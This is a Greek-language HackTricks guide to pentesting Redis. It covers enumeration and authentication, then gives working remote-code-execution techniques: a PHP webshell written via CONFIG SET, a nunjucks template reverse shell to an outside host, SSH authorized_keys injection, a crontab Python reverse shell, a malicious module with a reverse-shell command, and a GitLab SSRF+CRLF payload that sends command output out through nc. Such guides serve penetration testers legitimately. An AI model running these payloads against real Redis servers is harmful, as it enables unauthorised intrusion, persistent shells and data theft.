6379 - Pentesting Redis

Reading time: 13 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Από the docs: Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), in-memory data structure store, που χρησιμοποιείται ως database, cache και message broker).

Από προεπιλογή, το Redis χρησιμοποιεί ένα πρωτόκολλο βασισμένο σε απλό κείμενο, αλλά πρέπει να έχετε υπόψη ότι μπορεί επίσης να υλοποιήσει ssl/tls. Μάθετε πώς να run Redis with ssl/tls here.

Default port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Αυτόματη Αρίθμηση

Ορισμένα αυτοματοποιημένα εργαλεία που μπορούν να βοηθήσουν στην απόκτηση πληροφοριών από μια redis instance:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manual Enumeration

Το Redis είναι ένα πρωτόκολλο βασισμένο σε κείμενο, μπορείτε απλά να στείλετε την εντολή σε ένα socket και οι επιστρεφόμενες τιμές θα είναι αναγνώσιμες. Επίσης, θυμηθείτε ότι το Redis μπορεί να τρέχει χρησιμοποιώντας ssl/tls (αλλά αυτό είναι πολύ παράξενο).

Σε μια κανονική εγκατάσταση Redis μπορείτε απλά να συνδεθείτε χρησιμοποιώντας nc ή μπορείτε επίσης να χρησιμοποιήσετε redis-cli:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Η πρώτη εντολή που θα μπορούσατε να δοκιμάσετε είναι info. Αυτή μπορεί να επιστρέψει έξοδο με πληροφορίες της Redis instance ή κάτι όπως το παρακάτω επιστρέφεται:

-NOAUTH Authentication required.

Σε αυτή την τελευταία περίπτωση, αυτό σημαίνει ότι χρειάζεστε έγκυρα διαπιστευτήρια για να αποκτήσετε πρόσβαση στην εγκατάσταση του Redis.

Αυθεντικοποίηση Redis

Από προεπιλογή το Redis μπορεί να προσπελαστεί χωρίς διαπιστευτήρια. Ωστόσο, μπορεί να ρυθμιστεί ώστε να υποστηρίζει μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.
Είναι δυνατόν να ορίσετε έναν κωδικό πρόσβασης στο αρχείο redis.conf με την παράμετρο requirepass ή προσωρινά μέχρι να επανεκκινήσει η υπηρεσία συνδεόμενοι σε αυτήν και εκτελώντας: config set requirepass p@ss$12E45.
Επίσης, ένα όνομα χρήστη μπορεί να ρυθμιστεί στην παράμετρο masteruser μέσα στο αρχείο redis.conf.

note

Εάν έχει ρυθμιστεί μόνο κωδικός πρόσβασης, το όνομα χρήστη που χρησιμοποιείται είναι "default".
Επίσης, σημειώστε ότι δεν υπάρχει τρόπος να βρείτε εξωτερικά αν το Redis έχει ρυθμιστεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.

Σε περιπτώσεις όπως αυτή, θα χρειαστεί να βρείτε έγκυρα διαπιστευτήρια για να αλληλεπιδράσετε με το Redis, οπότε θα μπορούσατε να προσπαθήσετε να brute-force αυτό.
Σε περίπτωση που βρείτε έγκυρα διαπιστευτήρια, πρέπει να αυθεντικοποιήσετε τη συνεδρία μετά την εγκαθίδρυση της σύνδεσης με την εντολή:

bash
AUTH <username> <password>

Έγκυρα διαπιστευτήρια θα απαντηθούν με: +OK

Επικυρωμένη καταμέτρηση

Εάν ο διακομιστής Redis επιτρέπει ανώνυμες συνδέσεις ή αν έχετε αποκτήσει έγκυρα διαπιστευτήρια, μπορείτε να ξεκινήσετε τη διαδικασία καταμέτρησης για την υπηρεσία χρησιμοποιώντας τις παρακάτω εντολές:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Άλλες εντολές Redis μπορείτε να βρείτε εδώ και εδώ.

Σημειώστε ότι οι εντολές Redis μιας παρουσίας μπορούν να μετονομαστούν ή να αφαιρεθούν στο αρχείο redis.conf. Για παράδειγμα, αυτή η γραμμή θα αφαιρέσει την εντολή FLUSHDB:

rename-command FLUSHDB ""

Περισσότερα σχετικά με τη ασφαλή διαμόρφωση μιας υπηρεσίας Redis εδώ: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Μπορείτε επίσης να παρακολουθείτε σε πραγματικό χρόνο τις εντολές Redis που εκτελούνται με την εντολή monitor ή να λάβετε τις 25 πιο αργές ερωτήσεις με slowlog get 25

Βρείτε περισσότερες ενδιαφέρουσες πληροφορίες σχετικά με περισσότερες εντολές Redis εδώ: https://lzone.de/cheat-sheet/Redis

Εξαγωγή Βάσης Δεδομένων

Μέσα στο Redis οι βάσεις δεδομένων είναι αριθμοί που ξεκινούν από το 0. Μπορείτε να δείτε αν χρησιμοποιείται κάποια από αυτές στην έξοδο της εντολής info μέσα στο τμήμα "Keyspace":

Ή μπορείτε απλά να λάβετε όλα τα keyspaces (βάσεις δεδομένων) με:

INFO keyspace

Σ' αυτό το παράδειγμα χρησιμοποιούνται οι βάσεις δεδομένων 0 και 1. Η βάση δεδομένων 0 περιέχει 4 κλειδιά και η βάση δεδομένων 1 περιέχει 1. Από προεπιλογή, το Redis θα χρησιμοποιήσει τη βάση δεδομένων 0. Για να κάνετε dump, για παράδειγμα, της βάσης δεδομένων 1, πρέπει να κάνετε:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Σε περίπτωση που λάβετε το εξής σφάλμα -WRONGTYPE Operation against a key holding the wrong kind of value κατά την εκτέλεση του GET <KEY>, είναι επειδή το κλειδί μπορεί να είναι κάτι άλλο από μια συμβολοσειρά ή έναν ακέραιο και απαιτεί έναν ειδικό χειριστή για να το εμφανίσει.

Για να γνωρίζετε τον τύπο του κλειδιού, χρησιμοποιήστε την εντολή TYPE, παράδειγμα παρακάτω για κλειδιά λίστας και κατακερματισμού.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Εξαγωγή της βάσης δεδομένων με npm redis-dump ή python redis-utils

Redis RCE

Διαδραστική Σκηνή

redis-rogue-server μπορεί αυτόματα να αποκτήσει μια διαδραστική σκηνή ή μια αντίστροφη σκηνή στο Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. Πρέπει να γνωρίζετε το path του φακέλου της ιστοσελίδας:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Αν η εξαίρεση πρόσβασης webshell, μπορείτε να αδειάσετε τη βάση δεδομένων μετά από αντίγραφο ασφαλείας και να δοκιμάσετε ξανά, θυμηθείτε να αποκαταστήσετε τη βάση δεδομένων.

Πρότυπο Webshell

Όπως στην προηγούμενη ενότητα, μπορείτε επίσης να αντικαταστήσετε κάποιο αρχείο πρότυπου html που θα ερμηνευτεί από μια μηχανή πρότυπων και να αποκτήσετε ένα shell.

Για παράδειγμα, ακολουθώντας αυτή την αναφορά, μπορείτε να δείτε ότι ο επιτιθέμενος εισήγαγε ένα rev shell σε ένα html που ερμηνεύτηκε από τη μηχανή πρότυπων nunjucks:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

Σημειώστε ότι πολλές μηχανές προτύπων αποθηκεύουν τα πρότυπα στη μνήμη, οπότε ακόμη και αν τα αντικαταστήσετε, το νέο δεν θα εκτελείται. Σε αυτές τις περιπτώσεις, είτε ο προγραμματιστής άφησε ενεργό το αυτόματο επαναφόρτωμα είτε πρέπει να κάνετε DoS στην υπηρεσία (και να περιμένετε ότι θα επανεκκινηθεί αυτόματα).

SSH

Παράδειγμα από εδώ

Παρακαλώ να είστε ενήμεροι ότι το αποτέλεσμα config get dir μπορεί να αλλάξει μετά από άλλες χειροκίνητες εντολές εκμετάλλευσης. Συνιστάται να το εκτελέσετε πρώτα αμέσως μετά την είσοδο στο Redis. Στην έξοδο του config get dir μπορείτε να βρείτε το home του χρήστη redis (συνήθως /var/lib/redis ή /home/redis/.ssh), και γνωρίζοντας αυτό ξέρετε πού μπορείτε να γράψετε το αρχείο authenticated_users για πρόσβαση μέσω ssh με τον χρήστη redis. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:

  1. Δημιουργήστε ένα ζεύγος δημόσιου-ιδιωτικού κλειδιού ssh στον υπολογιστή σας: ssh-keygen -t rsa
  2. Γράψτε το δημόσιο κλειδί σε ένα αρχείο : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Εισάγετε το αρχείο στο redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Αποθηκεύστε το δημόσιο κλειδί στο αρχείο authorized_keys στον διακομιστή redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Τέλος, μπορείτε να ssh στον διακομιστή redis με το ιδιωτικό κλειδί : ssh -i id_rsa redis@10.85.0.52

Αυτή η τεχνική είναι αυτοματοποιημένη εδώ: https://github.com/Avinash-acid/Redis-Server-Exploit

Επιπλέον, οι χρήστες του συστήματος μπορούν επίσης να ανακαλυφθούν ελέγχοντας με config set dir /home/USER, και μετά την επιβεβαίωση, ένα νέο authorized_keys μπορεί να γραφτεί στο /home/USER/.ssh/authorized_keys. Χρησιμοποιήστε redis-rce-ssh για να κάνετε brute force με μια λίστα ονομάτων χρηστών και να αντικαταστήσετε το authorized_keys.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Το τελευταίο παράδειγμα είναι για Ubuntu, για Centos, η παραπάνω εντολή θα πρέπει να είναι: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Αυτή η μέθοδος μπορεί επίσης να χρησιμοποιηθεί για να κερδίσετε bitcoin :yam

Φόρτωση Μονάδας Redis

  1. Ακολουθώντας τις οδηγίες από https://github.com/n0b0dyCN/RedisModules-ExecuteCommand μπορείτε να συγκεντρώσετε μια μονάδα redis για να εκτελέσετε αυθαίρετες εντολές.
  2. Στη συνέχεια, χρειάζεστε κάποιον τρόπο να ανεβάσετε τη συγκεντρωμένη μονάδα.
  3. Φορτώστε τη μονάδα που ανέβηκε κατά την εκτέλεση με MODULE LOAD /path/to/mymodule.so
  4. Λίστα φορτωμένων μονάδων για να ελέγξετε αν φορτώθηκε σωστά: MODULE LIST
  5. Εκτελέστε εντολές:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Ξεφορτώστε τη μονάδα όποτε θέλετε: MODULE UNLOAD mymodule

Παράκαμψη Sandbox LUA

Εδώ μπορείτε να δείτε ότι το Redis χρησιμοποιεί την εντολή EVAL για να εκτελέσει κώδικα Lua σε sandbox. Στην συνδεδεμένη ανάρτηση μπορείτε να δείτε πώς να το καταχραστείτε χρησιμοποιώντας τη λειτουργία dofile, αλλά φαίνεται ότι αυτό δεν είναι πλέον δυνατό. Ούτως ή άλλως, αν μπορείτε να παράκαμψετε το Lua sandbox θα μπορούσατε να εκτελέσετε αυθαίρετες εντολές στο σύστημα. Επίσης, από την ίδια ανάρτηση μπορείτε να δείτε κάποιες επιλογές για να προκαλέσετε DoS.

Ορισμένα CVEs για να ξεφύγετε από το LUA:

Μονάδα Master-Slave

​Η κύρια redis όλες οι λειτουργίες συγχρονίζονται αυτόματα στη slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως μια slave redis, συνδεδεμένη με την κύρια redis που ελέγχουμε εμείς, στη συνέχεια μπορούμε να εισάγουμε την εντολή στη δική μας redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis

Αν μπορείτε να στείλετε clear text αίτημα στο Redis, μπορείτε να επικοινωνήσετε μαζί του καθώς το Redis θα διαβάσει γραμμή προς γραμμή το αίτημα και θα απαντήσει μόνο με σφάλματα για τις γραμμές που δεν καταλαβαίνει:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Ως εκ τούτου, αν βρείτε μια SSRF vuln σε μια ιστοσελίδα και μπορείτε να ελέγξετε κάποιες κεφαλίδες (ίσως με μια ευπάθεια CRLF) ή παραμέτρους POST, θα είστε σε θέση να στείλετε αυθαίρετες εντολές στο Redis.

Παράδειγμα: Gitlab SSRF + CRLF σε Shell

Στο Gitlab11.4.7 ανακαλύφθηκε μια ευπάθεια SSRF και μια CRLF. Η ευπάθεια SSRF βρισκόταν στη λειτουργία εισαγωγής έργου από URL κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες IPs με τη μορφή [0:0:0:0:0:ffff:127.0.0.1] (αυτό θα προσπελάσει το 127.0.0.1), και η ευπάθεια CRLF εκμεταλλεύτηκε απλά προσθέτοντας χαρακτήρες %0D%0A στο URL.

Ως εκ τούτου, ήταν δυνατό να καταχραστούν αυτές οι ευπάθειες για να μιλήσουν με την παρουσία Redis που διαχειρίζεται τις ουρές από gitlab και να καταχραστούν αυτές τις ουρές για να αποκτήσουν εκτέλεση κώδικα. Το payload κατάχρησης της ουράς Redis είναι:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Και το URL encode αίτημα κατάχρησης SSRF και CRLF για την εκτέλεση ενός whoami και την αποστολή της εξόδου μέσω nc είναι:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Για κάποιο λόγο (όπως για τον συγγραφέα του https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ από όπου προήλθε αυτή η πληροφορία) η εκμετάλλευση λειτούργησε με το git scheme και όχι με το http scheme.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks